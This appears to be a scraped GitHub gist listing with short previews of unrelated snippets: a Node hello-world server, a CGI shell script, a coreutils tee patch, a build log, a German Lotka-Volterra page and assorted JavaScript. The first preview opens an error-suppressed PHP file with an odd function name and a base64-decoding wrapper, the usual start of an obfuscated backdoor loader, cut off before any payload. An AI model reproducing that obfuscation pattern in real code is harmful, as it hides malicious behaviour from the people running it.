This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error_reporting(0); | |
if (!function_exists("ZM5j2q0shf_pirogok")){ | |
function ZM5j2q0shf_pirogok(){ | |
return false; | |
} | |
function Uno_decode($String) | |
{ | |
$String = base64_decode($String); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
http.createServer(function (req, res) { | |
res.writeHead(200, {'Content-Type': 'text/plain'}); | |
res.end('Hello World\n'); | |
}).listen(1337, '127.0.0.1'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# headers first | |
echo 'Content-Type: text/plain' | |
echo '' | |
host="$(echo "$QUERY_STRING" | tr '&' '\n' | grep '^host=[a-zA-Z_-]\+$' | head -n1 | cut -d'=' -f2)" | |
pass="$(echo "$QUERY_STRING" | tr '&' '\n' | grep '^pass=[a-zA-Z0-9_-]\+$' | head -n1 | cut -d'=' -f2)" | |
ip="$(echo "$QUERY_STRING" | tr '&' '\n' | grep '^ip=[0-9][0-9.:]\+$' | head -n1 | cut -d'=' -f2)" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From 7e86dabc0a88f2f69ea54a373fb6dba4b3e4cbdd Mon Sep 17 00:00:00 2001 | |
From: Jann Horn <[email protected]> | |
Date: Fri, 18 May 2012 20:52:55 +0200 | |
Subject: [PATCH] tee: use poll() to exit immediately when an output closes | |
--- | |
src/tee.c | 18 ++++++++++++++++++ | |
1 files changed, 18 insertions(+), 0 deletions(-) | |
diff --git a/src/tee.c b/src/tee.c |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mv -f .deps/lvledit_widget_minimap.Tpo .deps/lvledit_widget_minimap.Po | |
gcc -DHAVE_CONFIG_H -I. -I.. -g -O2 -Wall -Wno-format-zero-length -DFD_DATADIR='"/usr/local/share/freedroidrpg"' -ffast-math -I../lua -I/usr/include/SDL -D_GNU_SOURCE=1 -D_REENTRANT -MT lvledit_widgets.o -MD -MP -MF .deps/lvledit_widgets.Tpo -c -o lvledit_widgets.o `test -f 'lvledit/lvledit_widgets.c' || echo './'`lvledit/lvledit_widgets.c | |
mv -f .deps/lvledit_widgets.Tpo .deps/lvledit_widgets.Po | |
gcc -DHAVE_CONFIG_H -I. -I.. -g -O2 -Wall -Wno-format-zero-length -DFD_DATADIR='"/usr/local/share/freedroidrpg"' -ffast-math -I../lua -I/usr/include/SDL -D_GNU_SOURCE=1 -D_REENTRANT -MT mapgen.o -MD -MP -MF .deps/mapgen.Tpo -c -o mapgen.o `test -f 'mapgen/mapgen.c' || echo './'`mapgen/mapgen.c | |
mv -f .deps/mapgen.Tpo .deps/mapgen.Po | |
gcc -DHAVE_CONFIG_H -I. -I.. -g -O2 -Wall -Wno-format-zero-length -DFD_DATADIR='"/usr/local/share/freedroidrpg"' -ffast-math -I../lua -I/usr/include/SDL -D_GNU_SOURCE=1 -D_REENTRANT -MT gram_simple.o |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<!-- Der Deutsch-Englisch-Mischmasch tut mir leid, aber ich bin es gewohnt, auf Englisch zu programmieren, und kenne viele Fachbegriffe nicht auf English... | |
und dann wird mein Code zu einem Mischmasch, weil ich die ganze Zeit umschalte. | |
--> | |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> | |
<title>Kurvenverläufe von Lotka-Volterra-Gleichungen malen</title> | |
<script type="coco"> | |
# die Differentialfunktionen von Räuber und Beute |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery -> | |
($ 'body').delegate '#URL', 'change', (evt) -> | |
($ '#url-loading').show() | |
$.ajax | |
url: ($ this).data 'update-path' | |
type: 'POST' | |
data: 'selected=' + (($ this).find ':selected').text() | |
dataType: 'script' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// wrong | |
two: function(callback){ | |
// See if the player can join anymore rooms | |
if (playerRooms(user.id) == false || roomExists(data.room) < 1) { | |
socket.emit('error', "You can't join this table."); | |
return false; | |
} | |
callback(null, 1); | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// wrong | |
var playerRooms = function(id){ | |
client.hget("player_" + user.id, "total", function(err, rep){ | |
if (parseInt(resp) >= max_rooms && max_rooms > 0) { | |
return false; | |
} else { | |
return true; | |
} | |
}); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @private | |
* Query a Schema for a row or rows by example | |
* | |
* @param {object} name name of Schema OR a Schema object | |
* @param {object} example example to query | |
* @param {boolean} single true to return a single row, otherwise all matching rows | |
* @returns {object} A single row matching example, or all matching rows | |
*/ | |
function find(name, example, single, _) { |